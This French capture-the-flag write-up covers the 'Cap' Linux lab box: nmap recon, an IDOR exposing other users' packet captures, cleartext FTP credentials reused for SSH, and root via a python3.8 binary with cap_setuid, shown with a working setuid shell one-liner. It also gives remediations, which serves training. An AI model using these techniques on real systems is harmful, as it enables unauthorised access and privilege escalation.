Cap
| OS | Difficulty | Target |
|---|---|---|
| Linux | EASY | 10.129.45.142 |
Résumé
- Reconnaissance : 3 ports ouverts (FTP, SSH, HTTP)
- IDOR : Accès aux captures réseau d’autres utilisateurs via
/data/0 - Identifiants : Extraction d’identifiants FTP en clair dans un fichier PCAP
- Mouvement latéral : Réutilisation des identifiants sur SSH
- Elévation de privilèges : Exploitation de capabilities Python (
cap_setuid)
Reconnaissance
Nmap scan
nmap -sC -sV -T4 10.129.45.142PORT STATE SERVICE VERSION21/tcp open ftp vsftpd 3.0.322/tcp open ssh OpenSSH 8.2p180/tcp open http gunicorn3 ports ouverts : FTP (21), SSH (22), HTTP (80)
Enumération web
En naviguant sur le site web, on découvre une application de “Security Dashboard” permettant de créer des “Security Snapshots” (captures réseau).
L’URL après un scan : http://10.129.45.142/data/1
Exploitation
IDOR (Insecure Direct Object Reference)
En modifiant l’ID dans l’URL, on peut accéder aux captures d’autres utilisateurs :
http://10.129.45.142/data/0 ← Intéressant !http://10.129.45.142/data/1http://10.129.45.142/data/2Le fichier /data/0 contient une capture PCAP avec des données sensibles.
Analyse PCAP
Téléchargement et analyse avec Wireshark :
# Filtre pour voir les identifiants FTPftp.request.command == "USER" || ftp.request.command == "PASS"Ou via Follow TCP Stream sur le trafic FTP.
Identifiants trouvés :
USER nathanPASS **REDACTED**Accès initial (SSH)
Les identifiants FTP fonctionnent également sur SSH :
# Password: **REDACTED**User flag
nathan@cap:~$ cat user.txt[FLAG]Elévation de privilèges
Enumération
Recherche de binaires avec des capabilities spéciales :
getcap -r / 2>/dev/null/usr/bin/python3.8 = cap_setuid,cap_setgid+epPython3.8 a la capability cap_setuid → On peut changer notre UID pour devenir root.
Exploitation
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'root@cap:~# whoamirootroot@cap:~# cat /root/root.txt[FLAG]A retenir
| Vulnérabilité | Description | Remédiation |
|---|---|---|
| IDOR | Accès aux ressources d’autres utilisateurs via manipulation d’ID | Implémenter des contrôles d’autorisation côté serveur |
| Identifiants en clair | Identifiants FTP transmis en clair | Utiliser SFTP ou FTPS |
| Réutilisation de mot de passe | Même mot de passe pour FTP et SSH | Utiliser des mots de passe uniques par service |
| Capabilities dangereuses | Python avec cap_setuid | Auditer les capabilities avec getcap -r / |
Outils utilisés
- nmap
- Wireshark
- SSH